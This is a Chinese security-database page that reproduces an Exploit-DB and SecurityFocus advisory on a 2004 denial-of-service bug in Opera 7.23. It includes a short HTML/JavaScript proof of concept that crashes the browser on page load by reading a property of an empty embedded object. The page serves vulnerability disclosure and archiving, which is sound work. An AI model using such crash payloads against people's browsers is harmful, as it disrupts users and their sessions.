Opera Web Browser 7.23 – Empty Embedded Object JavaScript Denial of Service-安全小百科

Opera Web Browser 7.23 – Empty Embedded Object JavaScript Denial of Service

漏洞ID	1054577	漏洞类型
发布时间	2004-09-01	更新时间	2004-09-01
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Windows	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/24426

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/11090/info

Opera is a web browser available for a number of platforms, including Microsoft Windows, Linux and Unix variants and Apple MacOS.

Opera Web Browser is reported to be susceptible to a JavaScript denial of service vulnerability. This vulnerability presents itself when Opera attempts to execute a specific JavaScript command. Upon executing this command, Opera will reportedly crash.

This vulnerability was reported to exist in version 7.23 of Opera for Microsoft Windows. Other versions are also likely affected. Version 7.54 does not seem to be susceptible. 

<html><head>
<script language=javascript>
function dSend() {
document.crash.text;
}
</script></head>
<body onLoad="dSend()">
<embed src="" type="CCCC" name="crash" >
</embed>
</body></html>

相关推荐: FreeBSD IP Fragment Queue Resource Exhaustion Vulnerability

FreeBSD IP Fragment Queue Resource Exhaustion Vulnerability 漏洞ID 1102999 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 2001-0…

文章版权归作者所有，未经允许请勿转载。

THE END